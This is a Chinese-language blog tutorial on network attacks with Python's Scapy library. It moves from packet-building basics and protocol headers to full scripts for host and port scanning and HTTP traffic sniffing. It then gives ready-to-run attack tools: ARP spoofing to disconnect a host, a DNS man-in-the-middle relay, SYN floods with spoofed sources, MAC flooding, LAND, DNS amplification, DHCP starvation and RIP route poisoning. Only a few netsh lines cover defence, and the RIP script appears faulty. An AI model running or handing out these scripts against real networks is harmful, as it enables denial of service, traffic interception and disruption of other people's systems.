【技术分享】Python3 Scapy 实现网络攻击
2022-07-15 / 0 评论 / 579 阅读 / 161 点赞

【技术分享】Python3 Scapy 实现网络攻击

发光的神
2022-07-15 / 0 评论 / 579 阅读 / 正在检测是否收录...

简介

Scapy 是一个功能强大的 Python 工具,允许用户发送、嗅探、解析和伪造网络数据包。它提供了丰富的网络操作功能,使得构建可探测、扫描或攻击网络的工具变得更加简单。
m4tks6bh.png

更多详细内容请参考Scapy的官方文档:Scapy 文档

安装库

pip install scapy

可以通过终端直接调用scapy使用

基础使用

sr()
发送三层数据包,等待接收一个或者多个数据包的响应
sr1()
发送三层数据包,只会接收一个数据包的响应
srp()
发送二层数据包,然后一直等待回应
srp1()
发送二层发送数据包,只返回第一个答案
send()
只发送三层数据包,系统自动处理路由和两层信息
sendp()
只发送二层数据包
带p字母的都是发送二层数据包,必须要写以太网头部Ether(),而且如果是多接口一定要指定接口
不带p字母都是发送三层数据包,不需要填Ether头部,不需要指定接口

常用的协议

Ether 以太网协议
ARP    ARP协议
IP    IP协议
UDP    UDP协议
TCP    TCP协议
ICMP ICMP协议

列出协议字段

>>> ls(ARP)
hwtype     : XShortField                         = (1)
ptype      : XShortEnumField                     = (2048)
hwlen      : FieldLenField                       = (None)
plen       : FieldLenField                       = (None)
op         : ShortEnumField                      = (1)
hwsrc      : MultipleTypeField                   = (None)
psrc       : MultipleTypeField                   = (None)
hwdst      : MultipleTypeField                   = (None)
pdst       : MultipleTypeField                   = (None)

获取帮助

>>> help(send)
Help on function send in module scapy.sendrecv:

send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, socket=None, *args, **kargs)
    Send packets at layer 3
    send(packets, [inter=0], [loop=0], [count=None], [verbose=conf.verb], [realtime=None], [return_packets=False],  # noqa: E501
         [socket=None]) -> None

构建 ICMP 包

>>> packet =IP(src='192.168.1.115',dst='192.168.1.1')/ICMP()
>>> packet
<IP  frag=0 proto=icmp src=192.168.1.1 dst=192.168.1.2 |<ICMP  |>>

查看数据包信息

>>> packet.show()
###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= icmp
  chksum= None
  src= 192.168.1.115
  dst= 192.168.1.1
  \options\
###[ ICMP ]### 
     type= echo-request
     code= 0
     chksum= None
     id= 0x0
     seq= 0x0

开启数据嗅探

>>> sniff(filter='tcp',count=5) #捕获5个包
<Sniffed: TCP:5 UDP:0 ICMP:0 Other:0>
>>> sniff(stop_filter=lambda x: x.haslayer(TCP)) #检测到TCP则停止
<Sniffed: TCP:1 UDP:0 ICMP:0 Other:0>

查看本地网卡

>>> show_interfaces()
INFO: Table cropped to fit the terminal (conf.auto_crop_tables==True)
Source   Index  Name                  MAC                IPv4             IPv6
libpcap  1      Software Loopback I_  00:00:00:00:00:00  127.0.0.1        ::1
libpcap  10     Microsoft Wi-Fi Dir_  9a:3b:8f:e7:a0:4a  169.254.248.16   fe80::404d:f9d:dd6b:_
libpcap  12     WAN Miniport (IP)
libpcap  15     VMware Virtual Ethe_  00:50:56:c0:00:08  192.168.18.1     fe80::4194:c468:a971_
libpcap  18     WAN Miniport (IPv6)
libpcap  2      Microsoft Wi-Fi Dir_  98:3b:8f:e7:a0:4b  169.254.172.205  fe80::84bd:aa4e:25e9_
libpcap  20     WAN Miniport (Netwo_
libpcap  21     VMware Virtual Ethe_  00:50:56:c0:00:01  192.168.25.1     fe80::b0e6:8f17:ddb1_
libpcap  4      Intel(R) Wireless-A_  98:3b:8f:e7:a0:4a  192.168.3.39     fe80::3df7:857b:82ec_
libpcap  5      OrayBoxVPN Virtual _  00:25:e1:00:10:00  172.16.0.226
libpcap  6      Realtek PCIe GbE Fa_  04:92:26:14:5d:17  169.254.17.179   fe80::ed09:65ab:81af_

IP 头部

IPv4
Version 版本号IHL 首部长度Total Length 总长度
Identification 标识Flags 标志Fragment Offset 片偏移
Time To Live 生存时间Protocol 协议Header Checksum 首部校验和
Source Address 源地址Destination Address 目标地址
Options 可选字段Padding 填充
Data 数据部分
IPV6
Version 版本号Traffic class 流量分类Flow Label 流量标签
Payload length 负载长度Next Header 下一个头部Hop Limit 跳数
Source Address 源地址Destination Address 目标IP地址

TCP协议提供一种面向连接的、可靠的字节流服务。
面向连接: 两个使用TCP的应用 通常是一个客户端 和一个服务端在彼此交换数据之前必须建立一个TCP连接,
TCP建立连接需要进行三次握手,结束时时需要四次挥手即可断开连接

TCP六个标志位:
URG:表示紧急指针是否有效;
ACK:表示确认号是否有效,携带ACK标志的数据报文段为确认报文段;
PSH:提示接收端的应用程序应该立即从TCP接受缓冲区中读走数据,为接受后数据腾出空间;
RST:表示要求对方重新建立连接,携带RST标志位的TCP报文段称为复位报文段;
SYN:表示请求建立一个连接,携带SYN标志的TCP报文段称为同步报文段;
FIN:通知对方本端要关闭了,带FIN标志的TCP报文段称为结束报文段;

TCP 报文结构

l9v6n3lf.png

version版本号
ihl首部长度
tos区分服务类型
len总长度
id标识
flags标志
frag片偏移
ttl生存时间
proto协议类型
chksum首部校验和
src源地址
dst目标地址
options可选字段

UDP 头部

Source Port 源端口Destination Port 目的端口
Length 包长度Check Sum 校验和
Data 数据

(1)源端口(Source Port):16位的源端口域包含初始化通信的端口号。源端口和IP地址的作用是标识报文的返回地址。
(2)目的端口(Destination Port):6位的目的端口域定义传输的目的。这个端口指明报文接收计算机上的应用程序地址接口。
(3)封包长度(Length):UDP头和数据的总长度。
(4)校验和(Check Sum):和TCP和校验和一样,不仅对头数据进行校验,还对包的内容进行校验。

UDP 报文结构

l9v73zcd.png

sport源端口
dport目标端口
len包长度
chksum校验和

这样可以更清晰地展示每个字段的含义。

ICMP 头部

ICMP
type 类型code 代码checksum 校验和
type和code不同时值不同原始ip数据报内容

icmp是Internet控制报文协议,它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。
控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息,这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

ICMP 报文结构

l9v80eaw.png

ARP 头部

ARP
硬件类型协议类型
硬件地址长度协议长度操作类型
发送方的硬件地址(0-3字节)源物理地址(4-5字节)
源IP地址(0-1字节)源IP地址(2-3字节)
目标硬件地址(0-1字节)目标硬件地址(2-5字节)
目标IP地址(0-3字节)

ARP 报文结构

l9vb2zd9.png

DNS 头部

ID: 长度为16位,是一个用户发送查询的时候定义的随机数,当服务器返回结果的时候,返回包的ID与用户发送的一致。
QR: 长度1位,值0是请求,1是应答。
Opcode: 长度4位,值0是标准查询,1是反向查询,2死服务器状态查询。
AA: 长度1位,授权应答(Authoritative Answer) - 这个比特位在应答的时候才有意义,指出给出应答的服务器是查询域名的授权

解析服务器。
TC: 长度1位,截断(TrunCation) - 用来指出报文比允许的长度还要长,导致被截断。
RD: 长度1位,期望递归(Recursion Desired) - 这个比特位被请求设置,应答的时候使用的相同的值返回。如果设置了RD,就建

议域名服务器进行递归解析,递归查询的支持是可选的。
RA: 长度1位,支持递归(Recursion Available) - 这个比特位在应答中设置或取消,用来代表服务器是否支持递归查询。
Z: 长度3位,保留值,值为0.
RCode: 长度4位,应答码,类似http的stateCode一样,值0没有错误、1格式错误、2服务器错误、3名字错误、4服务器不支持、

DNS 报文结构

l9vb5zhn.png


ARP 单主机扫描

from scapy.all import *

ip = "192.168.5.4"

p = ARP(pdst=ip)
ans = sr1(p,timeout=1)
if ans != None:
    ans.display()
    print(ip,"host is up.")
else:
    print(ip,"host is down.")

ARP 多主机扫描

from scapy.all import ARP, Ether, srp
import ipaddress

target_ip = input("请输入目标IP地址/掩码(例如:192.168.1.0/24):")
# 解析IP地址/掩码并检查是否有错误
try:
    network = ipaddress.ip_network(target_ip)
except ValueError:
    print("请输入合法的IP地址/掩码!")
else:
    # 构造ARP请求包
    arp = ARP(pdst=target_ip)
    # 构造以太网数据包
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether / arp

    result = srp(packet, timeout=3, verbose=0)[0]
    # 处理响应数据包
    clients = []
    for sent, received in result:
        # 提取响应的MAC和IP地址
        clients.append({'ip': received.psrc, 'mac': received.hwsrc})

    # 输出扫描结果
    print("扫描结果:")
    print(" IP地址\t\t MAC地址")
    for client in clients:
        print("{:<16}{}".format(client['ip'], client['mac']))

PING 主机扫描

import threading
from scapy.all import *

ips = []
ip_range = "192.168.1.0-254"

ip_list = ip_range.split("-")
start_ip = ip_list[0]
end_ip = ip_list[1]
start_index = int(start_ip.split(".")[-1])
end_index = int(end_ip.split(".")[-1])
ips = [f"{start_ip.rsplit('.', 1)[0]}.{i}" for i in range(
    start_index, end_index + 1)]


def scan(ip):
    p = IP(dst=ip)/ICMP()
    ans = sr1(p, iface="Intel(R) Wireless-AC 9560 160MHz", timeout=1)
    if ans != None:
        ips.append(ip)


threads = []
for ip in ips:
    t = threading.Thread(target=scan, args=(ip,))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

print(ips)

SYN 端口扫描

from scapy.all import *

ip = "192.168.5.4"
port = 80

p = IP(dst=ip)/TCP(dport=int(port))
ans = sr1(p,timeout=1,verbose=1)
if ans[TCP].flags == 'SA':
    print(ip,"port",port,"is open.")
else:
    print(ip,"port",port,"is closed.")

SYN 多线程端口扫描

from scapy.all import *
import threading
from tqdm import tqdm

target_host = input("请输入要扫描的目标主机IP地址 如:(192.168.1.100):")
port_range = input("请输入要扫描的端口范围 如:(1-3000):")
output_file = input("请输入结果输出文件名 如:(1.txt):")

# 解析端口范围
min_port, max_port = map(int, port_range.split("-"))
# 设置超时时间
timeout = 1
# 创建锁对象,以便在输出结果时避免竞争条件问题
print_lock = threading.Lock()

# 定义写文件函数
def write_result(ip, port):
    with open(output_file, "a") as f:
        f.write(f"{ip}:{port}\n")

# 定义线程函数
def scan_port(port):
    # 创建TCP SYN包
    packet = IP(dst=target_host)/TCP(dport=port, flags="S")
    # 发送数据包并获取响应
    response_packet = sr1(packet, timeout=timeout, verbose=False)
    # 解析响应数据包
    if response_packet is None:
        with print_lock:
            # 使用tqdm库更新进度条
            pbar.update(1)
  
    elif response_packet.haslayer(TCP) and response_packet.getlayer(TCP).flags == 0x12:
        # 如果收到SYN-ACK响应,则说明端口开放
        with print_lock:
            # 使用tqdm库更新进度条
            pbar.update(1)
 
            write_result(target_host, port)
    else:
        with print_lock:
            # 使用tqdm库更新进度条
            pbar.update(1)

# 创建线程列表
threads = []
# 使用tqdm库创建进度条,总数为需要扫描的端口数量
pbar = tqdm(total=max_port-min_port+1)
# 遍历所有需要扫描的端口,并创建一个线程来执行scan_port函数
for port in range(min_port, max_port+1):
    thread = threading.Thread(target=scan_port, args=(port,))
    threads.append(thread)
    thread.start()
# 等待所有线程执行完毕
for thread in threads:
    thread.join()
# 关闭进度条
pbar.close()

FIN 端口扫描

from scapy.all import *

ip = "192.168.5.4"
port = 80

p=IP(dst=ip)/TCP(dport=int(port),flags="F")
ans=sr1(p,timeout=1,verbose=1)
if ans==None:
    print(ip,"port",port,"is open.")
elif ans!=None and ans[TCP].flags=='RA':
    ans.display()
    print(ip,"port",port,"is closed.")

XMAS 端口扫描

XMAS扫描和NULL扫描是FIN扫描的两个变种,XMAS扫描打开FIN URG ACK PSH RST SYN标记并且全部置1。(原理和SYN差不多)

from scapy.all import *

ip = "192.168.5.4"
port = 80

p = IP(dst=ip)/TCP(dport=int(port),flags="FPU")
ans = sr1(p,timeout=1,verbose=1)
if ans == None:
    print(ip,"port",port,"is open.")
elif ans!=None and ans[TCP].flags=='RA':
    ans.display()
    print(ip,"port",port,"is closed.")

ICMP 多线程扫描

from scapy.all import *
import threading
import argparse
import ipaddress
import os
import sys


# 发送ICMP请求,判断是否存活
def icmp_requset(ip_dst, iface=None):
    pkt = Ether()/IP(dst=ip_dst) / ICMP(type=8)
    req = srp1(pkt, timeout=3, verbose=False)

    if req:
        print('[+]', ip_dst, '    Host is up')


#进行子网的多线程扫描
def icmp_scan(network):
    threads = []
    length = len(network)
    for ip in network:
        t = threading.Thread(target=icmp_requset, args=(str(ip),))
        threads.append(t)

    for i in range(length):
        threads[i].start()

    for i in range(length):
        threads[i].join()


# 参数选项
def main():
    # Windows下注释掉这段
    # 判断是否为root
    if os.getuid() != 0:
        print('[-]Need root user to run')
        sys.exit(1)

    parser = argparse.ArgumentParser()
    parser.add_argument('network', help='eg:192.168.1.0/24')
    args = parser.parse_args()
    network = list(ipaddress.ip_network(args.network))

    icmp_scan(network)


if __name__ == '__main__':
    main()

流量抓包

from scapy.all import *

def capture(x):
    if b'HTTP/' in x.lastlayer().original and x.lastlayer().original[0:4] != b'HTTP':
        print('dst ip:', x.payload.dst)
        try:
            request_body = x.lastlayer().original
            request_body = request_body.decode('utf-8')
        except:
            request_body = str(x.lastlayer().original)
        if 'allall01.baidupcs.com' in request_body:
            return
        if 'netdisk' in request_body:
            return
        if 'baidu' in request_body:
            return
        print('request body:', request_body)

def main():
    sniff(filter="tcp", prn=lambda x: capture(x))

if __name__ == '__main__':
    main()

ARP 断网攻击

from scapy.all import *
import time

# pdst是目标IP,psrc是网关的ip
p1 = Ether(dst="ff:ff:ff:ff:ff:ff", src="90:A4:07:1B:4A:E9") / \
    ARP(pdst="192.168.20.133", psrc="192.168.1.101")

while True:
    sendp(p1)
    time.sleep(.1)

视频效果

ARP 本地防御

# 以管理员身份运行cmd
netsh i i show in # 列出本地网卡的 IDX 编号
netsh -c i i add neighbors 7 192.168.1.1 00-25-83-01-10-00 # IDX 编号为 7 网关 + 网关MAC地址 回车即可绑定静态MAC地址
netsh -c i i delete neighbors 7 192.168.1.1 # 删除绑定更改为动态

DNS 中间人攻击

from scapy.all import *
 
wlan2="VMware Virtual Ethernet Adapter for VMnet8"
dns_server="192.168.146.130"  # win2008已搭好的dns服务器
dnsdst=""

def rev(p):
    global dnsdst
    try:
        pip=p[IP]
        pudp=[UDP]
        pdns=p[DNS]
        if p.dport==53 and pip.dst=="192.168.146.2":# 这个包是win7向网关的请求包 
            dnsdst=pip.src  
            send(IP(src="192.168.146.1",dst=dns_server,ttl=55)/UDP(sport=p[UDP].sport,dport=53)/pdns,iface=wlan2)
            print("转发查询信息成功",dnsdst)
        elif p.sport==53 and pip.src==dns_server:  #这一个包是搭建的DNS给自己回的包
            #print(dnsdst)
            send(IP(src="192.168.146.2",dst="192.168.146.129",ttl=55)/UDP(sport=53,dport=p[UDP].dport)/pdns,iface=wlan2)
            print("转发响应信息成功")
    except :
        pass
print("开始攻击")
sniff(iface=wlan2,filter="udp  port 53",timeout=300,prn=rev)

SYN FLOOD 攻击

# 第一版
from scapy.all import *
import random
 
def synFlood():
    while True:
        # 构造随机的源IP
        src='%i.%i.%i.%i'%(
            random.randint(1,255),
            random.randint(1, 255),
            random.randint(1, 255),
            random.randint(1, 255)
            )
        # 构造随机的端口
        sport=random.randint(1024,65535)
        IPlayer=IP(src=src,dst='192.168.1.104')
        TCPlayer=TCP(sport=sport,dport=445,flags="S")
        packet=IPlayer/TCPlayer
        send(packet)
 
if __name__ == '__main__':
    synFlood()

# 第二版
from scapy.all import *

ip = IP(src=RandIP(), dst="192.168.1.104")
syn = TCP(sport=RandShort(), dport=445, flags="S", seq=1000)
send(ip/syn, inter=0.001, loop=1)

SYN FLOOD 完整版

from scapy.all import *
import random
 
# 生成随机的IP
def randomIP():
    ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
    return ip
 
# 生成随机端口
def randomPort():
    port=random.randint(1000,10000)
    return port
 
# syn-flood
def synFlood(count,dstIP,dstPort):
    total=0
    print("Packets are sending ...")
    for i in range(count):
        #IPlayer
        srcIP=randomIP()
        dstIP=dstIP
        IPlayer = IP(src=srcIP,dst=dstIP)
        #TCPlayer
        srcPort=randomPort()
        TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
        #发送包
        packet = IPlayer / TCPlayer
        send(packet)
        total+=1
    print("Total packets sent: %i" % total)
 
# 显示的信息
def info():
    print("#"*30)
    print("# Welcome to SYN Flood Tool  #")
    print("#"*30)
    # 输入目标IP和端口
    dstIP = input("Target IP : ")
    dstPort = int(input("Target Port : "))
    return dstIP, dstPort
 
if __name__ == '__main__':
    dstIP, dstPort=info()
    count=int(input("Please input the number of packets:"))
    synFlood(count,dstIP,dstPort)

MAC 泛洪攻击

from scapy.all import *
 
#定义网卡接口
iface='eth0'
 
while True:
    #随机MAC
    randmac=RandMAC("*:*:*:*:*:*")
    #随机IP
    randip=RandIP("*.*.*.*")
    #构造数据包
    packet=Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)/ICMP()
    sendp(packet,iface=iface,loop=0)

MAC 泛洪完整版

from scapy.all import *
import random
 
# 生成随机的MAC
def randomMAC():
    randmac = RandMAC("*:*:*:*:*:*")
    return randmac
 
# 生成随机的IP
def randomIP():
    ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
    return ip
 
# Mac-flood
def macFlood(count):
    total = 0
    print("Packets are sending ...")
    for i in range(count):
        packet = Ether(src=randomMAC(), dst=randomMAC()) / IP(src=randomIP(), dst=randomIP()) / ICMP()
        sendp(packet, iface='eth0', loop=0)
        total+=1
    print("Total packets sent: %i" % total)
 
if __name__ == '__main__':
    print("#" * 30)
    print("# Welcome to Mac Flood Tool  #")
    print("#" * 30)
    count = int(input("Please input the number of packets:"))
    macFlood(count)

LAND 攻击

import scapy.all as scapy
import time
 
target = input("Please input your target:")   # 输入想要攻击的ip地址
port = input("Please input your target's port:") # 输入端口
port = int(port)  # 因为input接收的是str,所以要转换成int型
 
send_packets=0 # 记录发送包的数量
try:
    while True:
        a = (scapy.IP(src=target,dst=target)/scapy.TCP(sport=port,dport=port))   #构造LAND attack攻击包
        scapy.send(a,verbose=False)
        send_packets+=1  #发送一个,自动加一
        print("[+] Sent Packets:" + str(send_packets))
        time.sleep(1)
except KeyboardInterrupt:
    print("[-] Ctrl+C detected.......")

DNS 放大攻击

from scapy.all import *

a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)

DHCP 欺骗攻击

from scapy.all import *
import random

def dhcp_discover(iface):
    while True:
        xid_random = random.randint(1, 900000000)
        mac_random = str(RandMAC())
        dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/
                     IP(src='0.0.0.0',dst='255.255.255.255')/
                     UDP(sport=68,dport=67)/
                     BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/
                     DHCP(options=[('message-type','discover')]
         ))
        sendp(dhcp_discover,iface=iface)

if __name__ == '__main__':
    iface = 'eth0'
    dhcp_discover(iface)

RIP 攻击

from scapy.all import RIP,Ether,IP,UDP,RIP,RIPEntry,sniff,send

packet = sniff(stop_filter=lambda x:x.haslayer(RIP))
mac_dst= packet[-1][Ether].dst
mac_src= packet[-1][Ether].src
ip = packet[-1][RIPEntry].addr
entry = packet[-1][RIPEntry]
ripentry = RIPEntry(addr=ip,metric=16)

#判断是否有多个路由信息
if entry.getlayer(RIPEntry,2):
    while entry:
        #获取下一个路由信息
        entry = entry.getlayer(RIPEntry, 2)
        ip = entry.addr
        ripentry = ripentry / RIPEntry(addr=ip, metric=16)

rip = (Ether(dst=mac_dst,src=mac_src)
       /IP(dst="224.0.0.9",src=ip)
       /UDP(dport=520,sport=520)/RIP(cmd=2,version=2)/ripentry)

while True:
    packet.show()
    send(packet,verbose=0)
161

评论 (0)

取消
0:00